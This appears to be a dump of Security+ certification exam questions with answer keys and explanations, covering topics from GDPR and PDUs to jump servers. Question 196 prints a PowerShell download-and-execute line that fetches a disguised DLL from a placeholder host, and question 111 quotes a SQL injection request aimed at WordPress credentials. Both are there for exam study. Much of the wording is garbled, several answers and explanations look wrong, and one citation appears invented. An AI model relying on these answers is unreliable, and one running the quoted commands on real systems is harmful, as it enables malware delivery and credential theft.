Non-PII stands for non-personally identifiable information, which is any data that does not directly identify a specific individual. Non-PII can include information such as job title, business phone number, location, first initial with last name, and race. Non-PII can be used for various purposes, such as statistical analysis, marketing, or research. However, non-PII may still pose some privacy risks if it is combined or linked with other data that can reveal an individual's identity.

References: <https://www.comptia.org/certifications/security#examdetails>

<https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.investopedia.com/terms/n/non-personally-identifiable-information-npii.asp>

NEW QUESTION 84

- (Exam Topic 2)

A company a "right to forgotten" request. To legally comply, the company must remove data related to the requester from its systems. Which of the following Company most likely complying with?

- A. NIST CSF
- B. GDPR
- C. PCI OSS
- D. ISO 27001

Answer: B

Explanation:

GDPR stands for General Data Protection Regulation, which is a law that regulates data protection and privacy in the European Union (EU) and the European Economic Area (EEA). GDPR also applies to the transfer of personal data outside the EU and EEA areas. GDPR grants individuals the right to request the deletion or removal of their personal data from an organization's systems under certain circumstances. This right is also known as the "right to be forgotten" or the "right to erasure". An organization that receives such a request must comply with it within a specified time frame, unless there are legitimate grounds for retaining the

data.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://gdpr-info.eu/issues/right-to-be-forgotten/>

NEW QUESTION 87

- (Exam Topic 2)

A security team suspects that the cause of recent power consumption overloads is the unauthorized use of empty power outlets in the network rack. Which of the following options will mitigate this issue without compromising the number of outlets available?

- A. Adding a new UPS dedicated to the rack
- B. Installing a managed PDU
- C. Using only a dual power supplies unit
- D. Increasing power generator capacity

Answer: B

Explanation:

Installing a managed PDU is the most appropriate option to mitigate the issue without compromising the number of outlets available. A managed Power Distribution Unit (PDU) helps monitor, manage, and control power consumption at the rack level. By installing a managed PDU, the security team will have greater visibility into power usage in the network rack, and they can identify and eliminate unauthorized devices that consume excessive power from empty outlets.
<https://www.comptia.org/training/books/security-sy0-601-study-guide>

NEW QUESTION 90

- (Exam Topic 2)

A security team is engaging a third-party vendor to do a penetration test of a new proprietary application prior to its release. Which of the following documents would the third-party vendor most likely be required to review and sign?

- A. SLA
- B. NDA
- C. MOU
- D. AUP

Answer: B

Explanation:

NDA stands for Non-Disclosure Agreement, which is a legal contract that binds the parties to keep confidential information secret and not to disclose it to unauthorized parties. A third-party vendor who is doing a penetration test of a new proprietary application would most likely be required to review and sign an NDA to protect the intellectual property and trade secrets of the security team.

NEW QUESTION 92

- (Exam Topic 2)

A security administrator performs weekly vulnerability scans on all cloud assets and provides a detailed report. Which of the following describes the administrator's activities?

- A. Continuous deployment
- B. Continuous integration
- C. Continuous validation
- D. Continuous monitoring

Answer: C

Explanation:

Continuous validation is a process that involves performing regular and automated tests to verify the security and functionality of a system or an application. Continuous validation can help identify and remediate vulnerabilities, bugs, or misconfigurations before they cause any damage or disruption. The security administrator's activities of performing weekly vulnerability scans on all cloud assets and providing a detailed report are examples of continuous validation.

NEW QUESTION 97

- (Exam Topic 2)

A company is moving its retail website to a public cloud provider. The company wants to tokenize audit card data but not allow the cloud provider to see the stored credit card information. Which of the following would BEST meet these objectives?

- A. WAF
- B. CASB
- C. VPN
- D. TLS

Answer: B

Explanation:

CASB stands for cloud access security broker, which is a software tool or service that acts as an intermediary between users and cloud service providers. CASB can help protect data stored in cloud services by enforcing security policies and controls such as encryption, tokenization, authentication, authorization, logging, auditing, and threat detection. Tokenization is a process that replaces sensitive data with non-sensitive substitutes called tokens that have no intrinsic value. Tokenization can help prevent data leakage by ensuring that only authorized users can access the original data using a tokenization system.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.cisco.com/c/en/us/products/security/what>

NEW QUESTION 99

- (Exam Topic 2)

A security administrator installed a new web server. The administrator did this to increase the capacity (or an application due to resource exhaustion on another server). Which of the following algorithms should the administrator use to split the number of the connections on each server in half?

- A. Weighted response
- B. Round-robin
- C. Least connection
- D. Weighted least connection

Answer: B

Explanation:

The administrator should use a round-robin algorithm to split the number of connections on each server in half. Round-robin is a load-balancing algorithm that distributes incoming requests to the available servers one by one in a cyclical order. This helps to evenly distribute the load across all of the servers, ensuring that no single server is overloaded.

NEW QUESTION 103

- (Exam Topic 2)

The new Chief Information Security Officer at a company has asked the security team to implement stronger user account policies. The new policies require:

- Users to choose a password unique to their last ten passwords
- Users to not log in from certain high-risk countries

Which of the following should the security team implement? (Select two).

- A. Password complexity
- B. Password history
- C. Geolocation
- D. Geospatial
- E. Geotagging
- F. Password reuse

Answer: BC

Explanation:

Password history is a policy that prevents users from reusing their previous passwords. This can reduce the risk of password cracking or compromise. Geolocation is a policy that restricts users from logging in from certain locations based on their IP address. This can prevent unauthorized access from high-risk countries or regions. References: <https://www.comptia.org/content/guides/what-is-identity-and-access-management>

NEW QUESTION 107

- (Exam Topic 2)

A company completed a vulnerability scan. The scan found malware on several systems that were running older versions of Windows. Which of the following is MOST likely the cause of the malware infection?

- A. Open permissions
- B. Improper or weak patch management
- C. Unsecure root accounts
- D. Default settings

Answer: B

Explanation:

The reason for this is that older versions of Windows may have known vulnerabilities that have been patched in more recent versions. If a company is not regularly patching their systems, they are leaving those vulnerabilities open to exploit, which can allow malware to infect the systems.

It is important to regularly update and patch systems to address known vulnerabilities and protect against potential malware infections. This is an important aspect of proper security management.

Here is a reference to the CompTIA Security+ certification guide which states that "Properly configuring and maintaining software, including patch management, is critical to protecting systems and data."

Reference: CompTIA Security+ Study Guide: SY0-601 by Emmett Dulaney, Chuck Easttom <https://www.wiley.com/en-us/CompTIA+Security%2B+Study+Guide%3A+SY0-601-p-9781119515968>

NEW QUESTION 111

- (Exam Topic 2)

A security analyst reviews web server logs and notices the following line: 104.35. 45.53 [22/May/2020:07 : 00:58 +0100] "GET . UNION ALL SELECT user login, user _ pass, user email from wp users— HTTP/I.I" 200 1072

<http://www.example.com/wordpress/wp—admin/>

Which of the following vulnerabilities is the attacker trying to exploit?

- A. SSRF
- B. CSRF
- C. XSS
- D. SQLi

Answer: D

Explanation:

SQLi stands for SQL injection, which is a type of web security vulnerability that allows an attacker to execute malicious SQL statements on a database server. SQLi can result in data theft, data corruption, denial of service, or remote code execution.

The attacker in the web server log is trying to exploit a SQLi vulnerability by sending a malicious GET request that contains a UNION ALL SELECT statement. This statement is used to combine the results of two or more SELECT queries into a single result set. The attacker is attempting to retrieve user login, user pass, and user email from the wp users table, which is a WordPress database table that stores user information. The attacker may use this information to compromise the WordPress site or the users' accounts.

NEW QUESTION 116

- (Exam Topic 2)

A company recently enhanced mobile device configuration by implementing a set of security controls: biometrics, context-aware authentication, and full device encryption. Even with these settings in place, an unattended phone was used by a malicious actor to access corporate data. Which of the following additional controls should be put in place first?

- A. GPS tagging
- B. Remote wipe
- C. Screen lock timer
- D. SEAndroid

Answer: C

Explanation:

According to NIST Special Publication 1800-4B1, some of the security controls that can be used to protect mobile devices include:

- Root and jailbreak detection: ensures that the security architecture for a mobile device has not been compromised.
- Encryption: protects the data stored on the device and in transit from unauthorized access.
- Authentication: verifies the identity of the user and the device before granting access to enterprise resources.
- Remote wipe: allows the organization to erase the data on the device in case of loss or theft.
- Screen lock timer: sets a time limit for the device to lock itself after a period of inactivity.

NEW QUESTION 121

- (Exam Topic 2)

The application development team is in the final stages of developing a new healthcare application. The team has requested copies of current PHI records to perform the final testing.

Which of the following would be the best way to safeguard this information without impeding the testing process?

- A. Implementing a content filter
- B. Anonymizing the data
- C. Deploying DLP tools
- D. Installing a FIM on the application server

Answer: B

Explanation:

Anonymizing the data is the process of removing personally identifiable information (PII) from data sets, so that the people whom the data describe remain anonymous¹². Anonymizing the data can safeguard the PHI records without impeding the testing process, because it can protect the privacy of the patients while preserving the data integrity and statistical accuracy for the application development team¹². Anonymizing the data can be done by using techniques such as data masking, pseudonymization, generalization, data swapping, or data perturbation¹².

Implementing a content filter is not the best way to safeguard the information, because it is a technique that blocks or allows access to certain types of content based on predefined rules or policies³. A content filter does not remove or encrypt PII from data sets, and it may not prevent unauthorized access or leakage of PHI records.

Deploying DLP tools is not the best way to safeguard the information, because it is a technique that monitors and prevents data exfiltration or transfer to unauthorized destinations or users. DLP tools do not remove or encrypt PII from data sets, and they may not be sufficient to protect PHI records from internal misuse or negligence.

Installing a FIM on the application server is not the best way to safeguard the information, because it is a technique that detects and alerts changes to files or directories on a system. FIM does not remove or encrypt PII from data sets, and it may not prevent unauthorized access or modification of PHI records.

NEW QUESTION 122

- (Exam Topic 2)

A security analyst is reviewing packet capture data from a compromised host. In the packet capture, analyst locates packets that contain large amounts of text. Which of the following is most likely installed on the compromised host?

- A. Keylogger
- B. Spyware
- C. Torjan
- D. Ransomware

Answer: A

Explanation:

A keylogger is a type of malware that records the keystrokes of the user and sends them to a remote attacker. The attacker can use the keystrokes to steal the user's credentials, personal information, or other sensitive data. A keylogger can generate packets that contain large amounts of text, as the packet capture data shows.

NEW QUESTION 123

- (Exam Topic 2)

An organization's Chief Information Security Officer is creating a position that will be responsible for implementing technical controls to protect data, including ensuring backups are properly maintained. Which of the following roles would MOST likely include these responsibilities?

- A. Data protection officer
- B. Data owner
- C. Backup administrator
- D. Data custodian
- E. Internal auditor

Answer: C

Explanation:

The role that would most likely include the responsibilities of implementing technical controls to protect data and ensuring backups are properly maintained would be a Backup Administrator. A Backup Administrator is responsible for maintaining and managing an organization's backup systems and procedures, which includes ensuring that backups are properly configured, tested and securely stored. They are also responsible for the recovery of data in case of a disaster or data loss.

NEW QUESTION 125

- (Exam Topic 2)

Which of the following processes would most likely help an organization that has conducted an incident response exercise to improve performance and identify challenges?

- A. Lessons learned
- B. Identification
- C. Simulation
- D. Containment

Answer: A

Explanation:

Lessons learned is a process that would most likely help an organization that has conducted an incident response exercise to improve performance and identify challenges. Lessons learned is a process that involves reviewing and evaluating the incident response exercise to identify what went well, what went wrong, and what can be improved. Lessons learned can help an organization enhance its incident response capabilities, address any gaps or weaknesses, and update its incident response plan accordingly.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901>

NEW QUESTION 126

- (Exam Topic 2)

An organization recently completed a security control assessment. The organization determined some controls did not meet the existing security measures. Additional mitigations are needed to lessen the risk of the non-compliant controls. Which of the following best describes these mitigations?

- A. Corrective
- B. Compensating
- C. Deterrent
- D. Technical

Answer: B

Explanation:

Compensating controls are additional security measures that are implemented to reduce the risk of non-compliant controls. They do not fix the underlying issue, but they provide an alternative way of achieving the same security objective. For example, if a system does not have encryption, a compensating control could be to restrict access to the system or use a secure network connection.

NEW QUESTION 130

- (Exam Topic 2)

A company is focused on reducing risks from removable media threats. Due to certain primary applications, removable media cannot be entirely prohibited at this time. Which of the following best describes the company's approach?

- A. Compensating controls
- B. Directive control
- C. Mitigating controls
- D. Physical security controls

Answer: C

Explanation:

Mitigating controls are designed to reduce the impact or severity of an event that has occurred or is likely to occur. They do not prevent or detect the event, but rather limit the damage or consequences of it. For example, a backup system is a mitigating control that can help restore data after a loss or corruption.

In this case, the company is focused on reducing risks from removable media threats, which are threats that can compromise data security, introduce malware infections, or cause media failure¹²³. Removable media threats can be used to bypass network defenses and target industrial/OT environments². The company cannot prohibit removable media entirely because of certain primary applications that require them, so it implements mitigating controls to lessen the potential harm from these threats.

Some examples of mitigating controls for removable media threats are:

- Encrypting data on removable media
- Scanning removable media for malware before use
- Restricting access to removable media ports
- Implementing policies and procedures for removable media usage and disposal
- Educating users on the risks and best practices of removable media

NEW QUESTION 131

- (Exam Topic 2)

A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator most likely use to confirm the suspicions?

- A. Nmap
- B. Wireshark
- C. Autopsy

D. DNSEnum

Answer: A

Explanation:

Nmap is a tool that is used to scan IP addresses and ports in a network and to detect installed applications. Nmap can help a security administrator determine the services running on a server by sending various packets to the target and analyzing the responses. Nmap can also perform various tasks such as OS detection, version detection, script scanning, firewall evasion, and vulnerability scanning.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://nmap.org/>

NEW QUESTION 135

- (Exam Topic 2)

A security team will be outsourcing several key functions to a third party and will require that:

- Several of the functions will carry an audit burden.
- Attestations will be performed several times a year.
- Reports will be generated on a monthly basis.

Which of the following BEST describes the document that is used to define these requirements and stipulate how and when they are performed by the third party?

- A. MOU
- B. AUP
- C. SLA
- D. MSA

Answer: C

Explanation:

A service level agreement (SLA) is a contract between a service provider and a customer that outlines the services that are to be provided and the expected levels of performance. It is used to define the requirements for the service, including any attestations and reports that must be generated, and the timescales in which these must be completed. It also outlines any penalties for failing to meet these requirements. SLAs are essential for ensuring that third-party services are meeting the agreed upon performance levels.

Reference: CompTIA Security+ Study Guide: SY0-601 by Emmett Dulaney, Chuck Easttom <https://www.wiley.com/en-us/CompTIA+Security%2B+Study+Guide%3A+SY0-601-p-9781119515968>

CompTIA Security+ Get Certified Get Ahead: SY0-601 Study Guide by Darril Gibson <https://www.amazon.com/CompTIA-Security-Certified-Ahead-SY0-601/dp/1260117558>

Note: SLA is the best document that is used to define these requirements and stipulate how and when they are performed by the third party.

NEW QUESTION 136

- (Exam Topic 2)

While troubleshooting a service disruption on a mission-critical server, a technician discovered the user account that was configured to run automated processes was disabled because the user's password failed to meet password complexity requirements. Which of the following would be the BEST solution to securely prevent future issues?

- A. Using an administrator account to run the processes and disabling the account when it is not in use
- B. Implementing a shared account the team can use to run automated processes
- C. Configuring a service account to run the processes
- D. Removing the password complexity requirements for the user account

Answer: C

Explanation:

A service account is a user account that is created specifically to run automated processes and services. These accounts are typically not associated with an individual user, and are used for running background services and scheduled tasks. By configuring a service account to run the automated processes, you can ensure that the account will not be disabled due to password complexity requirements and other user-related issues.

Reference: CompTIA Security+ Study Guide (SY0-601) 7th Edition by Emmett Dulaney, Chuck Easttom

NEW QUESTION 141

- (Exam Topic 2)

Multiple beaconing activities to a malicious domain have been observed. The malicious domain is hosting malware from various endpoints on the network. Which of the following technologies would be best to correlate the activities between the different endpoints?

- A. Firewall
- B. SIEM
- C. IPS
- D. Protocol analyzer

Answer: B

Explanation:

SIEM stands for Security Information and Event Management, which is a technology that collects, analyzes, and correlates data from multiple sources, such as firewall logs, IDS/IPS alerts, network devices, applications, and endpoints. SIEM provides real-time monitoring and alerting of security events, as well as historical analysis and reporting for compliance and forensic purposes.

A SIEM technology would be best to correlate the activities between the different endpoints that are beaconing to a malicious domain. A SIEM can detect the malicious domain by comparing it with threat intelligence feeds or known indicators of compromise (IOCs). A SIEM can also identify the endpoints that are communicating with the malicious domain by analyzing the firewall logs and other network traffic data. A SIEM can alert the security team of the potential compromise and provide them with relevant information for investigation and remediation.

NEW QUESTION 143

- (Exam Topic 2)

A small, local company experienced a ransomware attack. The company has one web-facing server and a few workstations. Everything is behind an ISP firewall. A single web-facing server is set up on the router to forward all ports so that the server is viewable from the internet. The company uses an older version of third-party software to manage the website. The assets were never patched. Which of the following should be done to prevent an attack like this from happening again? (Select three).

- A. Install DLP software to prevent data loss.
- B. Use the latest version of software.
- C. Install a SIEM device.
- D. Implement MDM.
- E. Implement a screened subnet for the web server.
- F. Install an endpoint security solution.
- G. Update the website certificate and revoke the existing ones.
- H. Deploy additional network sensors.

Answer: BEF

NEW QUESTION 145

- (Exam Topic 2)

Which of the following should customers who are involved with UI developer agreements be concerned with when considering the use of these products on highly sensitive projects?

- A. Weak configurations
- B. Integration activities
- C. Unsecure user accounts
- D. Outsourced code development

Answer: A

Explanation:

Customers who are involved with UI developer agreements should be concerned with weak configurations when considering the use of these products on highly sensitive projects. Weak configurations can lead to security vulnerabilities, which can be exploited by malicious actors. It is important to ensure that all configurations are secure and up-to-date in order to protect sensitive data. Source: UL

NEW QUESTION 147

- (Exam Topic 2)

A network administrator needs to determine the sequence of a server farm's logs. Which of the following should the administrator consider? (Select TWO).

- A. Chain of custody
- B. Tags
- C. Reports
- D. Time stamps
- E. Hash values
- F. Time offset

Answer: DF

Explanation:

A server farm's logs are records of events that occur on a group of servers that provide the same service or function. Logs can contain information such as date, time, source, destination, message, error code, and severity level. Logs can help administrators monitor the performance, security, and availability of the servers and troubleshoot any issues.

To determine the sequence of a server farm's logs, the administrator should consider the following factors:

➤ Time stamps: Time stamps are indicators of when an event occurred on a server. Time stamps can help administrators sort and correlate events across different servers based on chronological order. However, time stamps alone may not be sufficient to determine the sequence of events if the servers have different time zones or clock settings.

➤ Time offset: Time offset is the difference between the local time of a server and a reference time, such as Coordinated Universal Time (UTC) or Greenwich Mean Time (GMT). Time offset can help administrators adjust and synchronize the time stamps of different servers to a common reference time and eliminate any discrepancies caused by time zones or clock settings.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://docs.microsoft.com/en-us/windows-server/administration/server-manager/view-event-logs>

NEW QUESTION 152

- (Exam Topic 2)

An organization has been experiencing outages during holiday sales and needs to ensure availability of its point-of-sales systems. The IT administrator has been asked to improve both server-data fault tolerance and site availability under high consumer load. Which of the following are the best options to accomplish this objective? (Select two.)

- A. Load balancing
- B. Incremental backups
- C. UPS
- D. RAID
- E. Dual power supply
- F. VLAN

Answer: AD

Explanation:

Load balancing and RAID are the best options to accomplish the objective of improving both server-data fault tolerance and site availability under high consumer load. Load balancing is a method of distributing network traffic across multiple servers to optimize performance, reliability, and scalability. Load balancing can help improve site availability by preventing server overload, ensuring high uptime, and providing redundancy and failover. RAID stands for redundant array of

independent disks, which is a technology that combines multiple physical disks into a logical unit to improve data storage performance, reliability, and capacity. RAID can help improve server-data fault tolerance by providing data redundancy, backup, and recovery.
References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.nginx.com/resources/glossary/load-balancing/> <https://www.ibm.com/cloud/learn/raid>

NEW QUESTION 156

- (Exam Topic 2)

Which of the following is the BEST reason to maintain a functional and effective asset management policy that aids in ensuring the security of an organization?

- A. To provide data to quantify risk based on the organization's systems
- B. To keep all software and hardware fully patched for known vulnerabilities
- C. To only allow approved, organization-owned devices onto the business network
- D. To standardize by selecting one laptop model for all users in the organization

Answer: A

Explanation:

An effective asset management policy helps an organization understand and manage the systems, hardware, and software it uses, and how they are used, including their vulnerabilities and risks. This information is crucial for accurately identifying and assessing risks to the organization, and making informed decisions about how to mitigate those risks. This is the best reason to maintain an effective asset management policy. Reference: CompTIA Security+ Study Guide (SY0-601) 7th Edition by Emmett Dulaney, Chuck Easttom

NEW QUESTION 157

- (Exam Topic 2)

An air traffic controller receives a change in flight plan for an morning aircraft over the phone. The air traffic controller compares the change to what appears on radar and determines the information to be false. As a result, the air traffic controller is able to prevent an incident from occurring. Which of the following is this scenario an example of?

- A. Mobile hijacking
- B. Vishing
- C. Unsecure VoIP protocols
- D. SPIM attack

Answer: B

Explanation:

Vishing is a form of phishing that uses voice calls or voice messages to trick victims into revealing personal information, such as credit card numbers, bank details, or passwords. Vishing often uses spoofed phone numbers, voice-altering software, or social engineering techniques to impersonate legitimate organizations or authorities. In this scenario, the caller pretended to be someone who could change the flight plan of an aircraft, which could have caused a serious incident.

NEW QUESTION 162

- (Exam Topic 2)

A user is trying to upload a tax document, which the corporate finance department requested, but a security program is prohibiting the upload. A security analyst determines the file contains PII. Which of the following steps can the analyst take to correct this issue?

- A. Create a URL filter with an exception for the destination website.
- B. Add a firewall rule to the outbound proxy to allow file uploads
- C. Issue a new device certificate to the user's workstation.
- D. Modify the exception list on the DLP to allow the upload

Answer: D

Explanation:

Data Loss Prevention (DLP) policies are used to identify and protect sensitive data, and often include a list of exceptions that allow certain types of data to be uploaded or shared. By modifying the exception list on the DLP, the security analyst can allow the tax document to be uploaded without compromising the security of the system. (Reference: CompTIA Security+ SY0-601 Official Textbook, page 479-480)

NEW QUESTION 167

- (Exam Topic 2)

A network-connected magnetic resonance imaging (MRI) scanner at a hospital is controlled and operated by an outdated and unsupported specialized Windows OS. Which of the following is most likely preventing the IT manager at the hospital from upgrading the specialized OS?

- A. The time needed for the MRI vendor to upgrade the system would negatively impact patients.
- B. The MRI vendor does not support newer versions of the OS.
- C. Changing the OS breaches a support SLA with the MRI vendor.
- D. The IT team does not have the budget required to upgrade the MRI scanner.

Answer: B

Explanation:

This option is the most likely reason for preventing the IT manager at the hospital from upgrading the specialized OS. The MRI scanner is a complex and sensitive device that requires a specific OS to control and operate it. The MRI vendor may not have developed or tested newer versions of the OS for compatibility and functionality with the scanner. Upgrading the OS without the vendor's support may cause the scanner to malfunction or stop working altogether.

NEW QUESTION 170

- (Exam Topic 2)

An organization wants to quickly assess how effectively the IT team hardened new laptops. Which of the following would be the best solution to perform this assessment?

- A. Install a SIEM tool and properly configure it to read the OS configuration files.
- B. Load current baselines into the existing vulnerability scanner.
- C. Maintain a risk register with each security control marked as compliant or non-compliant.
- D. Manually review the secure configuration guide checklists.

Answer: B

Explanation:

A vulnerability scanner is a tool that can scan devices and systems for known vulnerabilities, misconfigurations, and compliance issues. By loading the current baselines into the scanner, the organization can compare the actual state of the new laptops with the desired state and identify any deviations or weaknesses. This is a quick and automated way to assess the hardening of the new laptops.

NEW QUESTION 173

- (Exam Topic 2)

A security analyst received the following requirements for the deployment of a security camera solution:

- * The cameras must be viewable by the on-site security guards.
- * The cameras must be able to communicate with the video storage server.
- * The cameras must have the time synchronized automatically.
- * The cameras must not be reachable directly via the internet.
- * The servers for the cameras and video storage must be available for remote maintenance via the company VPN.

Which of the following should the security analyst recommend to securely meet the remote connectivity requirements?

- A. Creating firewall rules that prevent outgoing traffic from the subnet the servers and cameras reside on
- B. Deploying a jump server that is accessible via the internal network that can communicate with the servers
- C. Disabling all unused ports on the switch that the cameras are plugged into and enabling MAC filtering
- D. Implementing a WAF to allow traffic from the local NTP server to the camera server

Answer: B

Explanation:

A jump server is a system that is used to manage and access systems in a separate security zone. It acts as a bridge between two different security zones and provides a controlled and secure way of accessing systems between them¹². A jump server can also be used for auditing traffic and user activity for real-time surveillance³. By deploying a jump server that is accessible via the internal network, the security analyst can securely meet the remote connectivity requirements for the servers and cameras without exposing them directly to the internet or allowing outgoing traffic from their subnet. The other options are not suitable because:

- A. Creating firewall rules that prevent outgoing traffic from the subnet the servers and cameras reside on would not allow remote maintenance via the company VPN.
- C. Disabling all unused ports on the switch that the cameras are plugged into and enabling MAC filtering would not prevent direct internet access to the cameras or servers.
- D. Implementing a WAF to allow traffic from the local NTP server to the camera server would not address the remote connectivity requirements or protect the servers from internet access.

References:

- 1: <https://www.thesecuritybuddy.com/network-security/what-is-a-jump-server/> 3:
- 2: https://en.wikipedia.org/wiki/Jump_server

NEW QUESTION 176

- (Exam Topic 2)

Which of the following is required in order (or an IDS and a WAF to be effective on HTTPS traffic)?

- A. Hashing
- B. DNS sinkhole
- C. TLS inspection
- D. Data masking

Answer: C

Explanation:

TLS (Transport Layer Security) is a protocol that is used to encrypt data sent over HTTPS (Hypertext Transfer Protocol Secure). In order for an intrusion detection system (IDS) and a web application firewall (WAF) to be effective on HTTPS traffic, they must be able to inspect the encrypted traffic. TLS inspection allows the IDS and WAF to decrypt and inspect the traffic, allowing them to detect any malicious activity. References: [1] CompTIA Security+ Study Guide Exam SY0-601 [1], Sixth Edition, Chapter 11, "Network Security Monitoring" [2] CompTIA Security+ Get Certified Get Ahead: SY0-501 Study Guide, Chapter 7, "Intrusion Detection and Prevention"

NEW QUESTION 180

- (Exam Topic 2)

A penetration tester was able to compromise a host using previously captured network traffic. Which of the following is the result of this action?

- A. Integer overflow
- B. Race condition
- C. Memory leak
- D. Replay attack

Answer: D

Explanation:

A replay attack is a form of network attack in which valid data transmission is maliciously or fraudulently repeated or delayed¹². This can allow an attacker to compromise a host by resending a previously captured message, such as a password or a session token, that looks legitimate to the receiver¹. A replay attack can

be prevented by using methods such as random session keys, timestamps, or one-time passwords that expire after use¹². A replay attack is different from an integer overflow, which is a type of software vulnerability that occurs when an arithmetic operation attempts to create a numeric value that is too large to be represented within the available storage space³. A race condition is another type of software vulnerability that occurs when multiple processes access and manipulate the same data concurrently, and the outcome depends on the order of execution³. A memory leak is a type of software defect that occurs when a program fails to release memory that is no longer needed, causing the program to consume more memory than necessary and potentially affecting the performance or stability of the system³.

NEW QUESTION 183

- (Exam Topic 2)

A data center has experienced an increase in under-voltage events following electrical grid maintenance outside the facility. These events are leading to occasional losses of system availability. Which of the following would be the most cost-effective solution for the data center to implement?

- A. Uninterruptible power supplies with battery backup
- B. Managed power distribution units to track these events
- C. A generator to ensure consistent, normalized power delivery
- D. Dual power supplies to distribute the load more evenly

Answer: A

Explanation:

Uninterruptible power supplies with battery backup would be the most cost-effective solution for the data center to implement to prevent under-voltage events following electrical grid maintenance outside the facility. An uninterruptible power supply (UPS) is a device that provides emergency power to a load when the main power source fails or drops below an acceptable level. A UPS with battery backup can help prevent under-voltage events by switching to battery power when it detects a voltage drop or outage in the main power source. A UPS with battery backup can also protect the data center equipment from power surges or spikes. References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.apc.com/us/en/faqs/FA158852/>

NEW QUESTION 186

- (Exam Topic 2)

A security administrator is integrating several segments onto a single network. One of the segments, which includes legacy devices, presents a significant amount of risk to the network.

Which of the following would allow users to access the legacy devices without compromising the security of the entire network?

- A. NIDS
- B. MAC filtering
- C. Jump server
- D. IPSec
- E. NAT gateway

Answer: C

Explanation:

A jump server is a device that acts as an intermediary between users and other devices on a network. A jump server can provide a secure and controlled access point to the legacy devices without exposing them directly to the network. A jump server can also enforce authentication, authorization, logging, and auditing policies.

NEW QUESTION 191

- (Exam Topic 2)

Which of the following security design features can a development team use to analyze the deletion or editing of data sets without affecting the original copy?

- A. Stored procedures
- B. Code reuse
- C. Version control
- D. Continuum

Answer: C

Explanation:

Version control is a solution that can help a development team to analyze the deletion or editing of data sets without affecting the original copy. Version control is a system that records changes to a file or set of files over time so that specific versions can be recalled later. Version control can help developers track and manage changes to code, data, or documents, as well as collaborate with other developers and resolve conflicts.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.atlassian.com/git/tutorials/what-is-version-control>

NEW QUESTION 195

- (Exam Topic 2)

Which of the following should be addressed first on security devices before connecting to the network?

- A. Open permissions
- B. Default settings
- C. API integration configuration
- D. Weak encryption

Answer: B

Explanation:

Before connecting security devices to the network, it is crucial to address default settings first. Manufacturers often ship devices with default settings that include default usernames, passwords, and configurations. These settings are widely known and can be easily exploited by attackers. Changing default settings helps to secure the device and prevent unauthorized access. Reference: CompTIA Security+ SY0-501 Exam Objectives, Section 3.2: "Given a scenario, implement secure

systems design." (<https://www.comptia.jp/pdf/Security%2B%20SY0-501%20Exam%20Objectives.pdf>)

NEW QUESTION 196

- (Exam Topic 2)

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the file does and finds that executes the following script:

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -URI https://somehost.com/04EB18.jpg
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
```

Which of the following BEST describes what the analyst found?

- A. A Powershell code is performing a DLL injection.
- B. A PowerShell code is displaying a picture.
- C. A PowerShell code is configuring environmental variables.
- D. A PowerShell code is changing Windows Update settings.

Answer: A

Explanation:

According to GitHub user JSGetty196's notes¹, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.

<https://www.comptia.org/training/books/security-sy0-601-study-guide>

NEW QUESTION 198

- (Exam Topic 2)

A security analyst is investigating a report from a penetration test. During the penetration test, consultants were able to download sensitive data from a back-end server. The back-end server was exposing an API that should have only been available from the companVs mobile application. After reviewing the back-end server logs, the security analyst finds the following entries

```
10.35.45.53 - - [22/May/2020:06:57:31 +0100] "GET /api/cliend_id=1 HTTP/1.1" 403 1705 "http://www.example.com/api/" "PostmanRuntime/7.26.5"
10.35.45.53 - - [22/May/2020:07:00:58 +0100] "GET /api/cliend_id=2 HTTP/1.1" 403 1705 "http://www.example.com/api/" "PostmanRuntime/7.22.0"
10.32.40.13 - - [22/May/2020:08:08:52 +0100] "GET /api/cliend_id=1 HTTP/1.1" 302 21703 "http://www.example.com/api/" "CompanyMobileApp/1.1.1"
10.32.40.25 - - [22/May/2020:08:13:52 +0100] "GET /api/cliend_id=1 HTTP/1.1" 200 21703 "http://www.example.com/api/" "CompanyMobileApp/2.3.1"
10.35.45.53 - - [22/May/2020:08:20:18 +0100] "GET /api/cliend_id=2 HTTP/1.1" 200 22405 "http://www.example.com/api/" "CompanyMobileApp/2.3.0"
```

Which of the following is the most likely cause of the security control bypass?

- A. IP address allow list
- B. user-agent spoofing
- C. WAF bypass
- D. Referrer manipulation

Answer: B

Explanation:

User-agent spoofing is a technique that allows an attacker to modify the user-agent header of an HTTP request to impersonate another browser or device¹². User-agent spoofing can be used to bypass security controls that rely on user-agent filtering or validation¹². In this case, the attacker spoofed the user-agent header to match the company's mobile application, which was allowed to access the back-end server's API².

NEW QUESTION 202

- (Exam Topic 2)

A company wants to enable BYOD for checking email and reviewing documents. Many of the documents contain sensitive organizational information. Which of the following should be deployed first before allowing the use of personal devices to access company data?

- A. MDM
- B. RFID
- C. DLR
- D. SIEM

Answer: A

Explanation:

MDM stands for Mobile Device Management, which is a solution that can be used to manage and secure personal devices that access company data. MDM can enforce policies and rules, such as password protection, encryption, remote wipe, device lock, application control, and more. MDM can help a company enable BYOD (Bring Your Own Device) while protecting sensitive organizational information.

NEW QUESTION 206

- (Exam Topic 2)

